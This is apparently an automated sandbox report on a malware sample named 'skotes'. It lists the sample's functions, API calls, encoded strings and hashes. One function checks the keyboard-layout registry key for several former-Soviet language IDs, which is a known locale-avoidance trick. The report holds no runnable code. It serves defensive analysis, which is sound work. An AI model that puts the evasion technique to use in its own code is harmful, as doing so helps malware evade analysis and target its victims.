Function 00425EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00425F13

Strings

00000419, xrefs: 00426098
00000423, xrefs: 004260FA
Keyboard Layout\Preload, xrefs: 00426054
00000422, xrefs: 004260C9
0000043f, xrefs: 0042612B

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: a0dec1df375ea9bb9b74a15653192133a9807088bfd605f9c292420fc43a93a6
Instruction ID: ac639fb880691e45efa1b8c19dce09f2fd3b997547368cace53fa4c841e4401b
Opcode Fuzzy Hash: a0dec1df375ea9bb9b74a15653192133a9807088bfd605f9c292420fc43a93a6
Instruction Fuzzy Hash: 3ED1D071A00228ABEB24DF14DD85BDEB779AF05304F5042DAF508E7291DB789BD48F98

Function 00427D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00427ED3

Strings

JjssOl==, xrefs: 0042813A
JjsrQV==, xrefs: 00428092
JjssPV==, xrefs: 004281E2
JjsrPl==, xrefs: 0042828A

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 57ab013eb3653b5153680e3664d9c522afbc29d5649735a24ef2fd5c5d10472a
Instruction ID: c5525b707a99cac29a4d3ad3d920cf4722a2fd13fee0cecf1982248b3ec3a8bc
Opcode Fuzzy Hash: 57ab013eb3653b5153680e3664d9c522afbc29d5649735a24ef2fd5c5d10472a
Instruction Fuzzy Hash: 42E127B0F002249BDB25BB29DD073AE7661AB45724FD046DEE815673C2DB7D4E8087CA

Function 0045D634 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,mE, xrefs: 0045D835

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: ,mE
API String ID: 0-418629219
Opcode ID: 19edc10f048fd0da21e0c4fddd3fe099071d3852877fec8af44ec3dcb8154400
Instruction ID: 166b4ff85d2f97cc85c9b2b3c9c6df960a171d39d82f2cdf35798f03157446d6
Opcode Fuzzy Hash: 19edc10f048fd0da21e0c4fddd3fe099071d3852877fec8af44ec3dcb8154400
Instruction Fuzzy Hash: E661E432D002148BDF35AFA8D8856EEB7A0EF19317F24412BDC59A7353D6388C49CB69

Function 0045D82F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,0045A72D,?,00000000,?,00456D2C,00427883,832E0F48,00427883), ref: 0045D871

Strings

,mE, xrefs: 0045D835

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: ,mE
API String ID: 1279760036-418629219
Opcode ID: f168e040a197dc191020a7eca5c6f9fc903237d4639fba839461d959642bfb08
Instruction ID: 47bfe5525263c7a1785bf5159a3d0d5fca974079ee177f2ca1efdb22a78270b8
Opcode Fuzzy Hash: f168e040a197dc191020a7eca5c6f9fc903237d4639fba839461d959642bfb08
Instruction Fuzzy Hash: 78F0B431E01524669B313A739D01A5B3758DF45373B148527EC28E7283DA28DC0C86E9

Function 00428380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00428524

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 0e0eb8331f7e6f24665ffe5ed639005f44f5164ea8e9dc5e62452bf799db4453
Instruction ID: 231cc4c8810c336f6e8b17f8c749a0922a1ebfb1c75181169d7e390622102560
Opcode Fuzzy Hash: 0e0eb8331f7e6f24665ffe5ed639005f44f5164ea8e9dc5e62452bf799db4453
Instruction Fuzzy Hash: AE510870E01228ABEB14FF28DD457DEB7749B46314F90429EE814A72C1EF385AC48B99

Function 0045B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,832E0F48,?,?,0043D3FC,832E0F48,?,00437A8B,?,?,?,?,?,?,00427465,?), ref: 0045B07E

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a603e95197bd9bdb7d8bbd33735081ed7d91e71ba1939f2ab90813de39593ce8
Instruction ID: 2ac098eb10b40efb29043d070b9c31c42517e0aa900ef5e164bc9f2418c8fb1f
Opcode Fuzzy Hash: a603e95197bd9bdb7d8bbd33735081ed7d91e71ba1939f2ab90813de39593ce8
Instruction Fuzzy Hash: B2E0653514121596DE3136765D41B5FA648DB42BA3F150227FD64A62D3EF18DC0881ED

Function 00436C70 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00436CF5

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7951b2f003fe47801a45d51a4c85122ae593e14080908d173ab713b6fa7053c4
Instruction ID: 40c931a89b6220c689ea4e8a3fe08f03242e82fb6ea95b35790a51b6c3eb67e7
Opcode Fuzzy Hash: 7951b2f003fe47801a45d51a4c85122ae593e14080908d173ab713b6fa7053c4
Instruction Fuzzy Hash: 40F0F471A00614ABC711BB6ADD03B1E7B74EB0AB74F90075EE821772D1EB781A0047DB

Function 04BB0D19 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2548086384.0000000004BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4bb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b657e80341d30d7ed73e77a59fad50d9baadb88f0cadee4c949eb71f6fac7a86
Instruction ID: 5e1b89036b7bf959061165db6284e439fe1c2297e9fcdcd66c28dd4adc76f5e7
Opcode Fuzzy Hash: b657e80341d30d7ed73e77a59fad50d9baadb88f0cadee4c949eb71f6fac7a86
Instruction Fuzzy Hash: 3011E7EB34C110AEB202A5566B545FB7B6EE5C763033088A6F847C7542F2C46E4E71B1

Function 04BB0D41 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2548086384.0000000004BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4bb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71b298a1c72c7b746951b3ec0dae7e94ce054ceab56c8e69fde0f3f8d31b4c7e
Instruction ID: b1d9e77d14f927071cbd4fc5112dd3dd72e68b4bb7c76591f281afd66bcc4433
Opcode Fuzzy Hash: 71b298a1c72c7b746951b3ec0dae7e94ce054ceab56c8e69fde0f3f8d31b4c7e
Instruction Fuzzy Hash: E411A9EB24D200AEB10296566F149F7BB7DE5D363033088A7F486C7242E6D41E5D7571

Function 04BB0D2A Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2548086384.0000000004BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4bb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61290083f5f160cf31123d4e7dbb11201bfbc18a3ae9593bee4beebcfc240b95
Instruction ID: 437dff75ff14439547d334112c79d1c542da4ecbd235e1e4ab88c7baa67eeda1
Opcode Fuzzy Hash: 61290083f5f160cf31123d4e7dbb11201bfbc18a3ae9593bee4beebcfc240b95
Instruction Fuzzy Hash: 67019EEB389210AD7002A5866B149FB7A2EE5C763033088A6F847C6642E2C42E8D3171

Function 04BB0D14 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2548086384.0000000004BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4bb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93a14b01cda1a47a6548d81e651f0ef1640eebd51eba367e2b7b94b4b76a552a
Instruction ID: f5fcf9657f239763d466ae25d91b2ee796325f111ec8a7b5e6b0e0de2ba2dd26
Opcode Fuzzy Hash: 93a14b01cda1a47a6548d81e651f0ef1640eebd51eba367e2b7b94b4b76a552a
Instruction Fuzzy Hash: 6F0171EF34C110BD7042A586AF149F7BA6EE5D763033088A6F887C6642F2D42E8D75B1

Function 04BB0DD8 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2548086384.0000000004BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4bb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1efbf60b3748d0fdaf75517542ff5661cc337234625546eed8aff117bc3e8c56
Instruction ID: e45f3790427db74d737e0a13368c520fa5819f037adeb760821266efbe17c611
Opcode Fuzzy Hash: 1efbf60b3748d0fdaf75517542ff5661cc337234625546eed8aff117bc3e8c56
Instruction Fuzzy Hash: EB0171EF2891507D7102A1966B14AFBAF6EE5C7630330887BF847CA942E2C41E9D71B1

Function 04BB0D3A Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2548086384.0000000004BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4bb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0f5ef54d0f48279aea18ac3f8072fed6df3cb874386b167223f48d185483eb7
Instruction ID: 1d70dad5e56bdcc372969e4e191d74c2de6cb88d31bea13b10ec2b4f6c0bb27d
Opcode Fuzzy Hash: b0f5ef54d0f48279aea18ac3f8072fed6df3cb874386b167223f48d185483eb7
Instruction Fuzzy Hash: 100144EF389110AD7141A1866F14AF76A6EE5D763033088A7F847C6542E6C42E4D7571

Function 04BB0D76 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2548086384.0000000004BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4bb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3351e77330fb9afb425d3377e8cb626fd7e3b77d68b72358cfd76b14daead465
Instruction ID: ec9a758b676d1a3cb5d0ad2ee0f037bfe3866cb0d79d5dc93242c4555cae190f
Opcode Fuzzy Hash: 3351e77330fb9afb425d3377e8cb626fd7e3b77d68b72358cfd76b14daead465
Instruction Fuzzy Hash: 7001A2EF2881147D7102A1967F14AF7AA6EE5D7630330C877F842C7542E2C50E5D7071

Function 04BB0DAB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2548086384.0000000004BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4bb0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd762712337d6b8dab821857a4ef09c9f620754a8037c0545b7e70e8c3e84d34
Instruction ID: d106702e7f1913220a1296c0775bc59ef54bd64aa9f8bec66fb32ba9f4b0b318
Opcode Fuzzy Hash: bd762712337d6b8dab821857a4ef09c9f620754a8037c0545b7e70e8c3e84d34
Instruction Fuzzy Hash: B7F0B4AF348110AD7041A09A7F541FBAB6AE5E723133084B7F446CB642E6C51E9E7171

Non-executed Functions

Function 0043CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0043CF52,?,?,?,?,0043CF87,?,?,?,?,?,?,0043C4FD,?,00000001), ref: 0043CC03

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 9f88000d7a419bcaebd96cf5a40d0559a0651e0670a549efbb4b7c7ec9058d67
Instruction ID: 66e1573fcc94910961bab0bee44dd63f859cd9cd424b2e13cadee35feb7e87de
Opcode Fuzzy Hash: 9f88000d7a419bcaebd96cf5a40d0559a0651e0670a549efbb4b7c7ec9058d67
Instruction Fuzzy Hash: 4CD02233902038938A013B84EC008AEBB88CB08B14B002062ED0D23220CA54AC424BDD

Function 0045652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b81fa2ee816c568c6fa44886bf4fbc253a666c28b9cac8f3ce24d03b5001c41
Instruction ID: c723c4e2673fd31356084e41f6d2270137b95b7349d7889c327139bdd9495735
Opcode Fuzzy Hash: 4b81fa2ee816c568c6fa44886bf4fbc253a666c28b9cac8f3ce24d03b5001c41
Instruction Fuzzy Hash: 6EE08C3008110CBFCE257B18E815D493B6AEB5175AF824816FC188B222DB29EE86C684

Function 0045A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 95d2abc0a43d504e6046c4e51f579e2b10d37189a78189b5a3fc11dd47443db7
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: EFE08C32921228EBCB15DB99C90498EF3ECEB49B09B65019BFD01D3252C274DE08C7D4

Function 00454840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00454877
___except_validate_context_record.LIBVCRUNTIME ref: 0045487F
_ValidateLocalCookies.LIBCMT ref: 00454908
__IsNonwritableInCurrentImage.LIBCMT ref: 00454933
_ValidateLocalCookies.LIBCMT ref: 00454988

Strings

S9E, xrefs: 00454925, 0045492E, 0045493F
csm, xrefs: 0045491D

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
